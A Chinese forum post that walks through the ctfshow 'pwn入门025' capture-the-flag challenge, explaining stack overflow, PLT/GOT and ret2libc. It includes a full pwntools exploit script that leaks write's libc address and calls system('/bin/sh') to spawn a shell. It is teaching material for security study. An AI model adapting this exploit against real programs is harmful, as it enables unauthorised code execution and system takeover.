ctfshow pwn入门025

君叹   ·   发表于 2023-08-05 13:13:21   ·   CTF&WP专版


checksec 查看保护


开启了NX保护,也就是栈上的数据被标记为不可执行
栈溢出写入了shellcode也不能被执行

题目上说了
让我们尝试 ret2libc 的方法
ret2libc就是调用程序动态链接库原本的函数去执行

动态链接和静态连接的区别是
比如说我在一个C语言程序中输入了

  1. #include <stdio.h>

如果是静态连接,在程序编译的时候就会把 stdio.h 中我用到的函数写入到编译后的文件中
也就是文件中会包含调用的外部函数

如果是动态链接,会在程序运行的时候,加载libc文件,再读取其中的函数


接下来查看使用IDA查看代码

main 函数中没有什么特别的


我们进入ctfshow函数查看


这里很明显存在栈溢出漏洞
buf的空间范围是 0x88
但是read函数能够读取 0x100 个字节


编写poc

  1. from pwn import *
  2. from LibcSearcher import *
  3. io = process("./pwn")
  4. elf = ELF('./pwn')
  5. write_plt = elf.plt['write']
  6. write_got = elf.got['write']
  7. ctfshow = elf.sym['ctfshow']
  8. payload = cyclic(0x88+4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
  9. io.sendline(payload)
  10. write = u32(io.recv(4))
  11. libc = LibcSearcher('write', write)
  12. base = write - libc.dump('write')
  13. system = base + libc.dump('system')
  14. bin_sh = base + libc.dump('str_bin_sh')
  15. payload = cyclic(0x88 + 4) + p32(system) + p32(0) +p32(bin_sh)
  16. io.sendline(payload)
  17. io.interactive()

我们来分段对poc进行一个分析
sym表中包含了程序自定义的函数
像是 main 函数等
那为什么 write 函数既要加载 plt 表
又要加载 got 表?
这里的话因为 write 是一个外部函数
需要从动态链接库中加载
动态链接的程序在调用外部函数的时候
如果是程序第一次调用这个函数

1 程序执行到函数调用的位置,并执行跳转指令。跳转指令控流转移到PLT表中对应函数的入口点。

2 PLT表中的代码会进行动态链接的过程。首先,它会检查对应函数在PLT表中是否存在。如果不存在,则表示这是第一次调用该函数。

3 PLT表会根据函数的名称找到对应的Got表中的入口点。

4 接下来PLT表会进一步解析Got表中的入口点,获取真的函数T表将真正的函数地址加载到Got表中的入口点,这样下次调用该函数时就可以直接跳转到真正的函数地址,避免再次进行动态链接过程。

  1. io = process("./pwn") # 加载程序赋值给 io
  2. elf = ELF('./pwn') # 加载程序表项赋值给 elf
  3. write_plt = elf.plt['write'] # 找到 write 函数的 plt 地址
  4. write_got = elf.got['write'] # 找到 write 函数的 got 地址
  5. ctfshow = elf.sym['ctfshow'] # 找到 ctfshow 函数的地址

程序中因为我们想要获取 write 函数的真实地址,所以需要输出got表中的write函数地址


然后再下一行
cyclic() 是生成随机字符,个数是参数里面的个数
0x88是栈满的量
4是因为这个变量的栈地址,距离函数返回地址的位置差4个字节

  1. payload = cyclic(0x88+4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)

做个图看一下


我们输入的东西,0x88个,刚好填满buf
再往后写的4个随机字符,把不知道干啥的四个字节占用了
在后面就该我们的
p32(write_plt) 了
刚好用 p32(write_plt) 占掉原本函数的返回地址
程序往后执行就会调用我们输入的这个函数了
再继续
在x86架构中,调用函数的后面是这样的
(返回地址,参数1,参数2,…,参数n)
也就是先写上,我这个函数执行完之后
程序下一步要去哪里
再把那些参数顶上,函数需要多少个参数就写多少个


这时候就可以理解了
p32(ctfshow) 是write执行完回去的地方(因为我们要再溢出一次,这里回到main也可以

p32(1) 函数的第一个参数,在write函数中,第一个参数代表输出流,就是输出到哪里,1的话就是标准输出流也就是控制台输出
p32(write_got) 第二个参数是输出什么东西,这里其实就是输出write函数的真实地址
p32(4) 输出多少个字节


这里就是发送payload,然后接受write函数的真实地址赋值给变量write

  1. io.sendline(payload)
  2. write = u32(io.recv(4))

这里通过write函数的真实地址,创建libc对象,用来调用libc库
base: 用write函数的真实地址减去write函数的相对(相对于libc的地址)地址,从而获得libc的基地址
system: 基地址,加上system函数的相对地址,获得system函数的真实地址
bin_sh: 基地址加上str_bin_sh的相对地址,因为 /bin/sh 是一个字符串,所以写的时候要写成 str_bin_sh, 获得字符串 /bin/sh 的真实地址

  1. libc = LibcSearcher('write', write)
  2. base = write - libc.dump('write')
  3. system = base + libc.dump('system')
  4. bin_sh = base + libc.dump('str_bin_sh')

按照上面的payload,write函数在执行完之后,又回到了ctfshow函数
我们再次产生一次溢出
这次用system覆盖里函数的返回地址
用 0 当做 system 函数的返回地址(因为执行完system(‘/bin/sh’)就拿到shell了,后面也不需要做什么了)
用”/bin/sh”作为system函数的参数
发送payload,获得shell

  1. payload = cyclic(0x88 + 4) + p32(system) + p32(0) +p32(bin_sh)
  2. io.sendline(payload)

开始交互

  1. io.interactive()

当运行脚本之后
会让我们输入libc的版本
这里需要输入程序所使用的libc
这个的话是根据程序在什么系统上运行,能够大概猜测出来的
我这里就是 libc6_2.27-3ubuntu1.5_i386
我直接输入2即可


用户名金币积分时间理由
Track-魔方 300.00 0 2023-09-13 14:02:33 深度 200 普适 100

打赏我,让我更有动力~

0 条回复   |  直到 8个月前 | 231 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.